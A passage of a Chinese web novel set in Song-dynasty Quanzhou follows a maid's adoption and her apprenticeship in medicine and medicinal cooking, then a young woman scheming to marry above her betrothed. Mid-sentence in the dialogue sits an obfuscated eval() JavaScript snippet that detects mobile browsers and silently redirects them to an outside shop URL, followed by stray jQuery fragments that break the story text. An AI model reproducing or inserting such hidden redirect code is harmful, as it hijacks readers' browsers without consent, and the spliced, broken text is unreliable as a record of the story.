退婚之后,高嬷嬷拿着微云的户籍帖子,马不停蹄去衙门办理了过继手续,自此以后,微云管高嬷嬷喊娘。
今日微云要行拜师礼,这事陈今禾已经同意,双方商量择了吉日。
高嬷嬷母女两比以往起的还早些,微云简单收拾打扮了一番,端庄大方,梳好头,两人便拎着礼前往小厨房。
春去秋来,大半年的相处,高嬷嬷大致摸清了陈今禾的为人,是个妥帖的,眼里不揉沙子,同意收徒就是真心愿意教,否则干脆不同意。
微云感觉自己好像做梦一样,同时间多了娘和师父,高兴的夜里翻来覆去,都不知道该备什么礼好。
拜师礼轻了,不行,重了也不行,刚刚经历退婚,让自己娘损失不少,微云心里过意不去。
高嬷嬷让她别管礼的事,由她一手操办。
一方歙州贡墨,笔锭如意银锞子十锭,两匹缎子,两匹绸子,两坛荷花酒,两盒果馅饼儿,两包茶团,两包姜母鸭。
贡墨价贵,得之不易。
高家祖上也是懂炮制药材的,高嬷嬷的爹以传男不传女为由,并没有教高嬷嬷炮制药材和医理,大哥也不愿意教微云这个侄女。
如今却想让陈今禾教微云医术,高嬷嬷心虚的羞愧。
开药铺有多赚钱,高嬷嬷比谁都清楚。
不说汴京城马行街南北夹道几十里药肆,大多是国医级别的大药铺,单就说高家大哥在福州南街的药铺,靠一个秘制药膏,早已积攒了万贯家财。
高嬷嬷拿出了诚意,送上一张泉州上等水田三十亩的地契,价值九十贯左右,算作束脩。
这张地契出乎陈今禾的意料,差不多是她两年半的年俸。
小厨房内,陈今禾坐在圈椅上。
“医道讲究,非其人勿授,非其真勿授,从今日之后,我将一点点行医心得分享给你。”
医道通天道,通人性命之道,慎重传承,所传若非人,就要担责,所以是师父找徒弟,而不是徒弟找师父。
医理珍贵,不遇到真心实意学习的人,不遇到具备一定条件、一定素养的人,切勿轻易传授。
学医有两条大道,一是钻研医书研究理论,二是拜师临证,学医要学验俱丰,理论知识和就诊经验都要足。
陈今禾观察微云大半年,品行、悟性、毅力都不错,加上高嬷嬷明里暗里总是帮衬陈今禾母女两,这份人情已经潜移默化的受了。
微云忙跪下磕了三个响头,起来之后双手奉茶。
陈今禾吃了茶,便算是行了拜师之礼,送给微云六本医书,《素问》、《灵枢》、《神农本草经》、《难经》、《伤寒论》、《金匮要略方论》。
“谢师父!”这声师父,微云喊的格外底气十足,一扫多年积压在心底的憋屈。
细细摩挲着珍贵的医书,微云嘴角上扬,女子怎么不能学医,她偏要学,手艺傍身,顶起门户。
以前陈今禾也教,零零散散的教几道药膳做法,即便微云学会了也是流于表面。
寓药于食,以食疗疾。陈今禾有一套自己的药膳心得,以脉区分药物,以脉的浮、沉、迟、数为纲,因脉言症,因症施药。
药食同源,药借食力,食借药威,二者相得益彰。
用药治病不能太过,在疾病治疗快要痊愈的“向愈”阶段就停止,改用“食养”进行调养和康复。
从拜师以后,陈今禾开始教微云药理,如何辩症。做药膳的时候,也会详细解释为什么要做这道药膳。
每隔几天,陈今禾从后渚草市买菜回来,都会考校微云的功课。
微云若是答不出来,还会挨一记手板,疼的呲牙咧嘴。私底下,微云悄悄问喜姐儿,你娘也这么招呼答不出的你。
哪知喜姐儿摇头,坚定回答不是,竖起了三根手指,挨三记手板。
不过,喜姐儿有上辈子的底子在,刚开始背药理,答不出来都是装的,免得她娘把她当作天才,期望值太高就不好了。
“陈娘子,蕊姐儿想吃冬瓜薏米老鸭汤。”
绣儿站在小厨房门口,四处打量屋内,比在福州那个小厨房大了一半,摆满了食材。
墙角破旧方桌上,还摆着一本书籍,封面上写着《神农本草经》。
绣儿等着回话,脸上没有任何多余的表情,心底嫉妒的泛起酸水。
在大厨房打杂,不管她孝敬了多少东西给路娘子,路娘子也只是大致的教她做两个菜,拿手菜一个都没教她。
她只得另寻出路,恰巧蕊姐儿那里缺人,杏儿平常又跟她比较要好,干脆送了杏儿一只银戒指,进了蕊姐儿的院子。
没想到,蕊姐儿只赏她一方素帕子、五个铜钱,就算是见面礼了。
白妈妈知道后,气的揪绣儿耳朵。
蕊姐儿那根本就不是好去处,论抠门,能跟蕊姐儿比拼的也就只有章老太爷,赏下人一般只给三四个铜钱。
这会子,泉州的三伏天,热的蕊姐儿吃不消,派绣儿拿着买菜钱和五个铜子的赏钱,让东院厨房的刘娘子做菜,刘娘子睬都不睬她。
转头,绣儿便寻到陈今禾这里。
巧了,陈今禾正在做冬瓜薏米老鸭汤,杨小娘热的食欲缺乏,还有些水肿。
这道菜祛湿消肿,清心除烦躁,南方地区“清凉补”。
陈今禾正在教微云和余喜怎么做这道菜,老鸭焯水去腥,文火慢炖提鲜,冬瓜切大块不脱皮以保养分不流失。
薏米提前浸泡,锅中放入老鸭、薏米、姜、红枣、加水炖煮一个时辰,后放冬瓜,再熬一盏茶的时间,调味即成。
“这是杨小娘昨日就定好的,就这么点。”
陈今禾忙的跟陀螺似的,除了照顾杨小娘母子三人的三餐,白天抽时间教微云基础的药理、药膳,晚上回去教余喜独门秘制丸散膏酒,哪有空赚蕊姐儿这五个铜子。
听到这话的时候,绣儿看见厨房一角还有一只活鸭、半个冬瓜,食材都是现成的。
摆明了就是不想接这个活,三伏天厨房热的像蒸笼,能热晕人。
绣儿无法,五个铜子的赏钱,三个厨房的厨娘,任谁都不会闲着吃这个苦头,回去之后如实说了,惹的蕊姐儿摔碎一只茶碗。
春山居。
蕊姐儿愤恨的咬碎一口银牙,章府里的人都是势利眼,瞧她没有爹娘倚仗,祖母又不是她亲祖母,连厨娘都敢轻视她。
自从爹过世之后,她就体会到了世态炎凉,原本她瞧不上的媒茬,已经轮不到她。
这次投奔祖父母,就是想借着二叔章惟翰知州身份,寻一个比孙家更好的前程。
程氏收了她的礼,既没帮她买两个丫环进府,更没帮她找上等媒茬。
眼见再过几个月,就到了和孙兆成亲的日子,这辈子就板上钉钉了。
蕊姐儿将办事不利的绣儿打发出去烧茶水,屋内只留下杏儿。
“杏儿,昨日与裕哥儿一起走在廊下的的人,打听出来了吗?”
前日来给章老太太贺寿的人很多,借着贺寿的名义,程氏张罗着给允姐儿相看。
蕊姐儿说的人便是康国公的嫡幼子,家中排第六的钱慎,母亲是大长公主。
朝中一半进士都是福建人,章家更是进士中的翘楚。
嘉祐二年,同族叔侄同场竞技,侄子的考卷被仁宗称赞“识见宏远,有宰相器”,钦点为状元,力压同榜的苏轼、苏辙、曾巩、张载、程颢等一众文豪。
大长公主和康国公自然也是希望家里能出一个进士,便托了章惟翰,让钱六郎在泉州章家私塾读书,与裕哥儿、安哥儿成了同窗。
钱六郎很自然的备了一份寿礼,来章府祝贺一番。
杏儿开口的有些艰难,感慨蕊姐儿眼光好,一眼就看中了钱六郎。
即便章惟明在世,以蕊姐儿的身份,给钱六郎做妾都算高攀了。
连程氏都有自知之明,没有让允姐出来见一眼钱六郎。
杏儿劝解道:“姑娘,咱们一到泉州,孙公子担心您长途跋涉而来,累坏了身子,流水般的补品、鲜果、海产送过来,还有时下小娘子们都爱用的胭脂水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599391|202379||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
粉、头油香饼。只要姑娘提一句喜欢,孙公子很快就会让人送来。
再过几个月,孙家就要来上门迎娶,他家还是有些家产的,况且孙公子脾气好,读书上进,若是以后中了进士——”
蕊姐儿何尝不知,孙兆相貌人品都算不错的,就是赀财不厚、家世不够,等他中进士,还要拿出真金白银出来打点才有实职差遣,没钱打点,空有个虚职有何用。
加上他家中无人做官,即便有了差遣,朝中无人提携,只能做个边缘基层小官。
“他是个体贴人,但是嫁汉嫁汉,穿衣吃饭,他没有功名利禄,仅靠那一点体贴,又能走多久。你可知他为什么这么体贴?”
杏儿懵了,要说孙公子喜欢自己家姑娘,好像也不对,两人甚至都没相看过,哪里谈得上喜欢。
“莫不是看中了章家的权势?”
蕊姐儿幽幽道:“不然呢,我毕竟是本地知州的侄女,名义上还有个成都路转运使的舅公,嫁给他,他高攀了。若他中举,想要仕途稳当,少不得要章家提携。”
转而指着屋内的桌椅床柜,道:“这些全是黄花梨木头打的,你摸摸这桌子,材质雕花都讲究,还有咱们用的碗盘碟盏,定窑的白瓷、耀州窑的青瓷。
祖母那里一套建阳的黑釉茶盏,都够外面老百姓几年的嚼用了。
允姐儿前天那一身穿戴,头上的珍珠插梳,手腕上的玉镯,压裙角的海棠形玉佩绦带,被媒人夸气度不凡,还不是用钱砸出来的。
我也知由俭入奢易,由奢入俭难,见识过好的,再去用那普通的,怎么甘心。
你看我二叔,官至知州,来送礼的人多如牛毛,咱们得借他的势,为以后铺路,不然这段日子以来受的气,遭的白眼,不就白挨了。”
这些道理,杏儿怎会不知,就说她跟着进了章府,见识跟着长,沾了不少光。
别说主子们的吃穿用度,就是那些体面的丫环婆子,身上穿的绸的,家里有些家底的,带着金坠子金戒指,比比皆是。
杏儿在秦凤路时,月钱只有两百文,来了泉州,府上发放的月钱五百文,吃的穿的都比以前好太多,还有绣儿送银戒指。让她出手送别人银戒指,她才舍不得。
只是,蕊姐儿要重新谋个夫婿,没有家中长辈出面,谈何容易。
正经的相看,都要媒人牵线,长辈点头,草帖罗列家中三代,是否做官,官至何处,男女双方才会见一面。
何况蕊姐儿身上还有婚约在身,哪个正经人家的公子会来相看,除非使一些不太光彩的手段。
杏儿怎么想都觉得这事风险大,万一孙家听到闲言碎语,来退婚,岂不是鸡飞蛋打。
“姑娘,正室大娘子才有管家权,给人做妾,总归低人一等。”杏儿婉言相劝。
谁知蕊姐儿自有她的道理,摇头道:“入高门做妾,也比给平头百姓做正妻强。
远的不说,你看二叔的两位妾室,一个比一个阔气。
我听说李小娘到了泉州,她有个表哥全家都跟了过来,关了瓠羹店的小买卖,瓷器铺子招了七八个伙计,新开了一家香药铺,专卖品质最好的拣香,买卖动则上千贯银钱。
再说杨小娘,要是嫁了个平头百姓,别说给她弄个小厨房专门做药膳调理身子,还未等她看病吃药吃掉整个家底,做丈夫的八成就厌弃了,婆婆变着法子搓磨这种病怏怏的媳妇。”
杏儿初入章府时,头一次见到李小娘,衣着鲜艳,云髻上簪着麒麟凤纹金簪,闲闲的摇着白绢团扇,眉眼风情万种。
至于杨小娘,无论容貌还是衣着打扮,都寡淡很多,发髻上只簪了一支素纹银簪。
一艳一淡,对比鲜明。相同的却是两人都不会为了银钱发愁。
见蕊姐儿铁了心想进高门贵府,杏儿也不好再劝,只能说些客观事实,“姑娘,那钱六郎今年十六岁,正在一心求学,恐怕没有考虑婚嫁之事。
不过,我也听说了些别的,那天同来贺寿的哥儿,还有福建转运判官的次子蒋珩,年二十,和允姐儿相看的就是他。”